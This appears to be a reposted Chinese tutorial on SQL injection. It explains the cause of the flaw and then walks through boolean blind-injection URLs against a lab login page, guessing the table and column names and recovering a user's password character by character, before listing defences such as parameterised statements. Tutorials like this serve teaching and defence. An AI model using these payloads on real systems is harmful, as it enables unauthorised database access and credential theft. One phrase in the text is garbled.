OWASP top 10 —— SQL注入-原理及其防禦
阿新 • • 發佈:2021-10-21
SQL注入
1、SQL注入介紹
WEB應用程式對使用者輸入的資料的合法性沒有進行判斷,使攻擊者對從前端傳入後端的資料可控,並且引數中帶有資料庫查詢,攻擊者可以通過構造不同的SQL語句來實現對資料庫的任意操作。
2、SQL注入的原理
SQL注入漏洞產生需要以下兩個條件:
- 引數是可控的:前端傳給後端的引數內容是使用者可以控制的
- 引數代入資料庫查詢:傳入的引數可以帶入資料庫中查詢
如果滿足以上兩個條件,攻擊者就可以在前端頁面中通過構造SQL語句,將自己想要查詢的SQL語句坪街道合法的引數後面,對資料庫進行增刪改查等操作。
3、SQL注入攻擊的總體思路
- 尋找SQL注入的位置
- 判斷伺服器型別和後臺資料庫型別
- 針對不同的伺服器和資料庫特點進行SQL注入攻擊
4、SQL注入的8種攻擊行為
1. 猜測資料庫名,備份資料庫 2. 猜解欄位名稱 3. 遍歷系統的目錄結構,分析結構並發現WEB虛擬目錄,植入木馬 4. 查詢當前使用者的資料庫許可權 5. 設定新的資料庫帳戶提權得到資料庫管理員賬戶許可權 6. 利用儲存過程獲取作業系統管理員賬戶 7. 客戶端指令碼攻擊:通過正常的輸入提交方式將惡意指令碼提交到資料庫中,當其他使用者瀏覽此內容時就會受到惡意指令碼的攻擊。 8. 客戶端指令碼攻擊:通過SQL注入方式將惡意指令碼提交到資料庫中,直接使用SQL語法UPDATE資料庫,並將注入SQL經過“HEX編碼”,然後通過exec執行
SQL注入攻擊思路
1)進入登入頁面進行SQL注入測試
正常登入:
使用者名稱:admin 密碼:admin
SQL注入漏洞測試:
- 在正常使用者名稱後面加單引號admin',單擊登入
-
或在URL位址列直接輸入http://172.18.3.13:81/login.asp?name=admin'&pass=admin
-
若出錯,證明沒有對'進行過濾,存在SQL注入漏洞
2)SQL注入攻擊
構造可以正常執行的目標地址
輸入http://172.18.3.13:81/login.asp?name=admin &pass=admin' and '1=1 原SQL語句為SELECT* FROM data Where uname='admin',條件未變,但接收密碼為admin' and '1=1
-
登入失敗
輸入http://172.18.3.13:81/login.asp?pass=admin&name=admin' and 1=1 and 'a'='a 原SQL語句為SELECT * FROM data Where uname='admin' and 1=1 and 'a'='a'
-
登入成功
3)猜解資料庫表名
http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (select count(*) from data)>0 and 'a'='a 成功,說明資料表名確為data;若不成功,則可反覆測試,直至成功猜出表名
4)猜解資料庫欄位名
http://172.18.3.13:81/login.asp?pass=admin&name=admin'and (select count(uname) from data)>0 and 'a'='a 若使用者名稱欄位確為uname,則提示登入成功 同理可猜出密碼欄位為upass
5)猜解密碼長度
-
已知有一使用者名稱為"wucm",首先猜其密碼長度大於1
http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and len(upass)>1)>0 and 'a'='a
- 成功,說明使用者"wucm"的密碼大於1, 繼續猜測密碼長度小於10
http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and len(upass)<10)>0 and 'a'='a
- 成功,說明"wucm"的密碼長度小於10位,繼續猜測其密碼長度小於5
http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and len(upass)<5)>0 and 'a'='a
- 出錯,說明"wucm"的密碼長度大於5位,繼續猜測其密碼長度大於8位
http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and len(upass)>8)>0 and 'a'='a
- 出錯,說明"wucm"的密碼長度小於8位,繼續猜測其密碼長度等於6位
http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and len(upass)=6)>0 and 'a'='a
- 成功,說明"wucm"的密碼長度為6位
6)猜解密碼
根據前面的測試我們已經知道該使用者的密碼長度位6位,接下來對密碼進行逐位猜測:
- 首先測試第一位是否為數字
http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and mid(upass,1,1)<'9')>0 and 'a'='a
- 出錯,說明密碼第一位不是數字, 測試是否位字母
http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and mid(upass,1,1)>'a')>0 and 'a'='a
- 成功,基本說明密碼第一位是字母, 接下來重複測試,不斷縮小字母範圍,最後確定密碼第一位為字母"w"
http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and mid(upass,1,1)='w')>0 and 'a'='a
- 成功,說明密碼第一位位"w"
- 同理對6位密碼逐位進行猜測,最後得到密碼為"wcm987"
- 至此我們就猜測出使用者"wucm"的密碼為"wcm987",進行登陸測試
- 登入成功,證明整個猜測過程和最後得出的密碼都是正確的
5、SQL注入的防禦方法
1.普通使用者與系統管理員使用者的許可權要有嚴格的區分 2.強迫使用引數化語句 3.加強對使用者輸入的驗證 4.多多使用SQL server 資料庫自帶的安全引數 5.必要的情況下使用專業的漏洞掃描工具來尋找可能被攻擊的點 6.設定陷阱賬號 設定兩個帳號,一個是普通管理員帳號,一個是防注入的帳號。